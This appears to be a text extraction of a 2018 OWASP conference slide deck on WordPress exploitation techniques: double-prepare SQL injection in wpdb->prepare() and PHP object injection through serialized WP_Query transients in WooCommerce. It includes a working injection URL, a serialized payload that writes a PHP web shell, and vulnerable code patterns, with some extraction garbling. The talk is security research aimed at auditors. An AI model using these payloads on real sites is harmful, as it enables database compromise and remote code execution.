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[PPT] - Prepare(): Introducing novel PowerPoint Presentation - Robin Peraglie, Sambuz.

- Published: date not stated
- Original: <<https://www.sambuz.com/doc/p-r-e-p-a-r-e-i-n-t-r-o-d-u-c-i-n-g-n-o-v-e-l-e-x-p-l-o-i-presentation-910240>>
- Preserved from: <https://www.sambuz.com/doc/p-r-e-p-a-r-e-i-n-t-r-o-d-u-c-i-n-g-n-o-v-e-l-e-x-p-l-o-i-presentation-910240> (live) on 2026-08-10
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OWASP
AppSec Europe
London 2nd-6th July 2018

Prepare(): Introducing novel Exploitation Techniques in WordPress

Robin Peraglie



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Prepare(): Introducing novel - - PowerPoint PPT Presentation

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Prepare():Introducing novel Exploitation Techniques in WordPress

Robin Peraglie Prepare():Introducin

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[\[image: slide-1\]](#)

SLIDE 1

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Techniques in WordPress

Robin Peraglie

[\[image: slide-2\]](#)

SLIDE 2

- M. Sc. IT-Security @ Ruhr-University Bochum, Germany

Security Researcher @ RIPS Technologies Love breaking stuff with RIPS Code Analysis:

- Moodle RCE
- Prestashop RCE
- LimeSurvey RCE
- CubeCart RCE
- Roundcube RCE

WordPress exploitation (Credits: Slavco Mihajloski and Karim El El Oue uerghemmi)

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Techniques in Word Press

Robin Peraglie

[\[image: slide-3\]](#)

SLIDE 3

- WordPress: open source content management system
- 30% of webhosts run WordPress to create websites blogs and web apps!
- Written in PHP: very flexible but prone to many software vulnerabilities
- Open bugbounty program on Hackerone => hardened core!
- How to exploit?

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T e c h n i q u e s i n W o r d P r e s s

[\[image: slide-4\]](#)

SLIDE 4

- WP core is customized & extended by many great and powerful plugins
- Plugins often bring nasty bugs nullifying security established by bug bounty program
- We will examine design flaws in WP core that can be exploited through many plugins

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SLIDE 5

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Techniques in WordPress

[\[image: slide-6\]](#)

SLIDE 6

- 1. CSRF Tokens generated uniquely for each action
- 2. Context-dependant sanitizers `esc_html()`, `esc_attr()`, `esc_js()`,... prevent most XSS (if used)
- 3. Escaping of quotes (custom Magic Quotes: ' " \ => \' \' \' \\\)

`$wpdb wpdb->que`

- `>query("SELECT ... WHERE name='$_GET[0]' ");` SQLi not exploitable!
- 4. Custom implementation of Prepared Statements/DBAL

Security Defense

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Techniques in WordPress

[\[image: slide-7\]](#)

SLIDE 7

PHP extension PDO offers well-tested "pretty-secure" Prepared Statements PDO::prepare(), PDO::bind(), PDO::execute() Why implement your own? => Legacy code can't be removed: backwards-compatibility between plugins and core! => Switching to PDO would require to rewrite all plugins!

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Prepared Statements

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Techniques in WordPress

[\[image: slide-8\]](#)

SLIDE 8

Very similar to Prepared Statements! Simple use-case: prepare() sanitizes potentially malicious user-input, embeds it in single quotes for placeholders in a SQL

- query. User-input 1'O

'OR'1='='1 would result in a harmless SQL query: SELECT * FROM table WHERE column1 = '1\OR\1\='1'

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Prepared Statements

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Techniques in WordPress

```
$query = $wpdb->prepare( "SELECT * FROM table WHERE column1 = %s", $_GET['c1'] ); $wpdb->query( $query );
```

[\[image: slide-9\]](#)

SLIDE 9

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[\[image: slide-10\]](#)

SLIDE 10

WordPress earlier than 4.8.3 was vulnerable to a SQL injection located in this very commonly used code construct known as „do double preparing“.

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Techniques in WordPress

```
$query = $wpdb->prepare( "SELECT * FROM table WHERE column1 = %s", $_GET['c1'] ); $query =  
$wpdb->prepare( $query . " AND column2 = %s", $_GET['c2'] ); $wpdb->query( $query );
```

[\[image: slide-11\]](#)

SLIDE 11

WordPress earlier than 4.8.3 was vulnerable to a SQL injection located in this very commonly used code construct known as „double prepared“. The SQL Injection occurs whenever the user-input contains placeholders!

- input

put contains placeholders! script.php?c1= %s &c2[]=OR 1=1 -- x&c2[]=abc

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Techniques in WordPress

```
$query = $wpdb->prepare( "SELECT * FROM table WHERE column1 = %s", $_GET['c1'] ); $query = $wpdb->prepare( $query . " AND column2 = %s", $_GET['c2'] ); $wpdb->query( $query );
```

[\[image: slide-12\]](#)

SLIDE 12

WordPress earlier than 4.8.3 was vulnerable to a SQL injection located in this very commonly used code construct known as „do double preparing“. The SQL Injection occurs whenever the user-input

- input

contains placeholders! script.php?c1= %s &c2[]=OR 1=1 -- x&c2[]=abc Prepare() #1:
SELECT * FROM table WHERE column1 = ' %s '

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Techniques in WordPress

```
$query = $wpdb->prepare( "SELECT * FROM table WHERE column1 = %s", $_GET['c1'] ); $query = $wpdb->prepare( $query . " AND column2 = %s", $_GET['c2'] ); $wpdb->query( $query );
```

[\[image: slide-13\]](#)

SLIDE 13

WordPress earlier than 4.8.3 was vulnerable to a SQL injection located in this very commonly used code construct known as „double prepared“. The SQL Injection occurs whenever the user input contains placeholders!

- input

script.php?c1= %s &c2[]=OR 1=1 -- x&c2[]=abc Prepare() #1:
SELECT * FROM table WHERE column1 = ' %s ' AND column2 = %s

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Techniques in WordPress

```
$query = $wpdb->prepare( "SELECT * FROM table WHERE column1 = %s", $_GET['c1'] ); $query = $wpdb->prepare( $query . " AND column2 = %s", $_GET['c2'] ); $wpdb->query( $query );
```

[\[image: slide-14\]](#)

SLIDE 14

WordPress earlier than 4.8.3 was vulnerable to a SQL injection located in this very commonly used code construct known as „double prepared“. The SQL Injection occurs whenever user-input

- input

put contains placeholders! script.php?c1= %s &c2[]=OR 1=1 -- x&c2[]=abc Prepare() #1: SELECT * FROM table WHERE column1 = ' %s ' AND column2 = %s Prepare() #2: SELECT * FROM table WHERE column1 = ' 'OR 1=1 -- x' ' AND column2 = 'abc';

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Techniques in WordPress

```
$query = $wpdb->prepare( "SELECT * FROM table WHERE column1 = %s", $_GET['c1'] ); $query = $wpdb->prepare( $query . " AND column2 = %s", $_GET['c2'] ); $wpdb->query( $query );
```

[\[image: slide-15\]](#)

SLIDE 15

To mitigate the SQL injection WordPress released a fix for prepare(), which would replace all placeholders in user-input with a unique secret 66-character string before returning from prepare.

Patch

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Techniques in WordPress

```
function prepare($query, $args) { if(is_array($args[0])) $args = $args[0]; $query = preg_replace(
'/%s/', ""'%s'", $query ); array_walk($args, array( $this, 'esc_sql' ) ); $query = vsprintf($query, $args);
return str_replace('%', $this->placeholder_escape(), $query); } function query($query) {
$query=str_replace($this->placeholder_escape(), '%', $query); // send $query to database... }
```

[\[image: slide-16\]](#)

SLIDE 16

With the patch applied all percent signs % in our exploit are effectively replaced with unique secret 66- character string. User-input: script.php?c1= %s &c2[]=abc Prepare() #1: SELECT * FROM table WHERE column1 = ' {13f...0d23}s ' Prepare() #2: SELECT * FROM table WHERE column1 = ' {13f...0d23}s ' AND column2 = 'abc'; Query(): SELECT * FROM table WHERE column1 = ' %s ' AND column2 = 'abc';

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Techniques in WordPress

```
$query = $wpdb->prepare( "SELECT * FROM table WHERE column1 = %s", $_GET['c1'] ); $query =  
$wpdb->prepare( $query . " AND column2 = %s", $_GET['c2'] ); $wpdb->query( $query );
```

[\[image: slide-17\]](#)

SLIDE 17

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Techniques in WordPress

[\[image: slide-18\]](#)

SLIDE 18

The WP_Query object retrieves wordpress posts from the database which match arguments of constructor `$query_results=new WP_Query('cat=5&post_meta_key=thumbnail');`

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Techniques in WordPress

DB

`SELECT * FROM wp_posts WHERE ... category=5 and post_meta_key='thumbnail'`
parsed into executes Results and SQL query stored in WP_Query!

[image: slide-19]

SLIDE 19

WordPress recommends to cache the results of slow database queries in the database temporarily. Excerpt from the official WordPress Codex manual: `if(false === ($query_results = get_transient('query_results'))){ // cache miss? $query_results=new WP_Query('cat=5&order=random&tag=tech&post_meta_key=thumbnail'); set_transient('query_results', $query_results, 12 * HOUR_IN_SECONDS ); // set cache }` To improve performance the result of the slow database query is cached and omitted in the next run. However, how does the `set_transient()` stores objects in the database?

Background

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WordPress Codex

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Example

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Techniques in WordPress

[image: slide-20]

SLIDE 20

Our WP_Queue object is stored in \$value function set_transient(\$transient, \$value, \$expiration = 0)) { \$result = add_option(\$transient_option, \$value, '', \$autoload); } function add_option(\$option, \$value = '', \$deprecated = '', \$autoload = 'yes')) { \$serialized_value = maybe_serialize(\$value); \$result = \$wpdb->query(\$wpdb->prepare("INSERT INTO \$wpdb->options (...) VALUES (%s,%s,%s) ...", ..., \$serialized_value, ...)); }

set_transient()/add_

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Techniques in WordPress

[image: slide-21]

SLIDE 21

serialize() translates variable content(strings, arrays, objects,...) to a readable string representation
unserialize() restores the variable-contents given its serialized string representation.

Recap:Serializati

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Techniques in WordPress

\$var serialize(\$var) Integer: \$var = 1; String: \$var = 'hello0WASP'; Array: \$var = array(0=>21,1=>22,23); Object: \$var=new stdClass(); \$var.a="b"; i:1; s:10:"hello0WASP"; a:3: {i:0;i:21;i:1;i:22;i:3;i:23;} O:8:"stdClass":1:{s:1:"a";s:1:"b";}

[\[image: slide-22\]](#)

SLIDE 22

unsanitized user-input reaches un unserialize() => PHP Object injection vulnerability which can cause RCE class LogHandler { public \$file; function __destruct() { file_put_contents(\$this->file, "Closing ".\$this->file, FILE_APPEND); } } unserialize(\$_GET["p"]); // O:10:"LogHandler":1: {s:4:"file";s:19:"<?=\$_GET[0]?>.php"} „Magic method“ __destruct() is automatically called if a LogHandler object is removed from memory

Recap:PHPOjectInjecti

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T e c h n i q u e s i n W o r d P r e s s

[\[image: slide-23\]](#)

SLIDE 23

„WooCommerce“: one of the most popular WordPress plugins with 2.3 million installations
Affected by exploitation technique 2 by example, leads to authenticated RCE in this case The
WooCommerce products-shortcode inserts a pretty product-list to a post Attributes can be passed
to it: [products category=“toasters”]

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T e c h n i q u e s i n W o r d P r e s s

[\[image: slide-24\]](#)

SLIDE 24

Implementation of products-shortcode as recommended by the WordPress Codex! protected function get_products() { \$transient_name = ...; \$products = get_transient(\$transient_name); if (false === \$products || ! is_a(\$products, 'WP_Query')) { \$products = new WP_Query(\$this->query_args); set_transient(\$transient_name, \$products, DAY_IN_SECONDS * 30); } return \$products; } User-input via shortcode WordPress Codex code construct

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T e c h n i q u e s i n W o r d P r e s s

[image: slide-25]

SLIDE 25

[products category="toasters" sku="%"]

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Techniques in WordPress

O:8:"WP_Query":1:{s:3:"sql";s:100:"SELECT... sku='{a93..dc}""; } property value \$sql SELECT... WHERE... cat=5 sku='{a93..dc}' WP_Query

- bject

serialize() percent-signs are replaced as introduced in prepare!

[\[image: slide-26\]](#)

SLIDE 26

set_transient()

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Techniques in WordPress

WP_Query

- bject

serialize() O:8:"WP_Query":1:{s:3:"sql";s:100:"SELECT... '{a93..dc}'";} DB prepare() query() INSERT INTO ... O:8:"WP_Query":1:{s:3:"sql";s:100:"SELECT... '{a93..dc}'";} WP_Query

- bject

INSERT INTO ... O:8:"WP_Query":1:{s:3:"sql";s:100:"SELECT... '%";} unserialize() O:8:"WP_Query":1:{... s:100:"SELECT... '%";}

get_transient()

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[\[image: slide-27\]](#)

SLIDE 27

Manipulati

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TechniquesinWordPress

O:8:"WP_Query":1:{s:3:"sql";s:100:"SELECT... sku='% '";...;s:7:"content";s:11:"somecontent";} 35 ≠

[\[image: slide-28\]](#)

SLIDE 28

Manipulati

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TechniquesinWordPress

O:8:"WP_Query":1:{s:3:"sql";s:100:"SELECT... sku='% '";...;s:7:"content";s:11:"somecontent";} 35 ≠
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[\[image: slide-29\]](#)

SLIDE 29

Manipulati

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TechniquesinWordPress

O:8:"WP_Query":1:{s:3:"sql";s:100:"SELECT... sku='% '";...;s:7:"content";s:11:"somecontent";} 35 ≠ 100

[\[image: slide-30\]](#)

SLIDE 30

Manipulati

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T e c h n i q u e s i n W o r d P r e s s

O:8:"WP_Query":1:{s:3:"sql";s:100:"SELECT... sku='% '";...;s:7:"content";s:11:"somecontent";} 35 ≠ 100

[\[image: slide-31\]](#)

SLIDE 31

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Techniques in WordPress

```
O:8:"WP_Query":1:{s:3:"sql";s:100:"SELECT... sku='%'  
";...;s:7:"content";s:11:"some";i:0;O:8:"EvilClass":0:{}i:1;s:0:"";} 35 ≠ 100
```

[\[image: slide-32\]](#)

SLIDE 32

Manipulation

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Serialized representation

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Techniques in WordPress

```
O:8:"WP_Query":1:{s:3:"sql";s:100:"SELECT... sku='%'  
";...;s:7:"content";s:11:"some";i:0;O:8:"EvilClass":0:{}i:1;s:0:"";} 35 ≠ 100 PHP Object Injection!
```

[\[image: slide-33\]](#)

SLIDE 33

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Techniques in WordPress

[\[image: slide-34\]](#)

SLIDE 34

- Unpatched design flaws in WP core
- Lead to exploit techniques against plugins
- In general: Avoid unserialize(), minimize plugin amount
- Code auditors:
- Check for WP_Query caching
- Check for double prepare
- Check for modified serialized data

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Techniques in WordPress

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Techniques in WordPress

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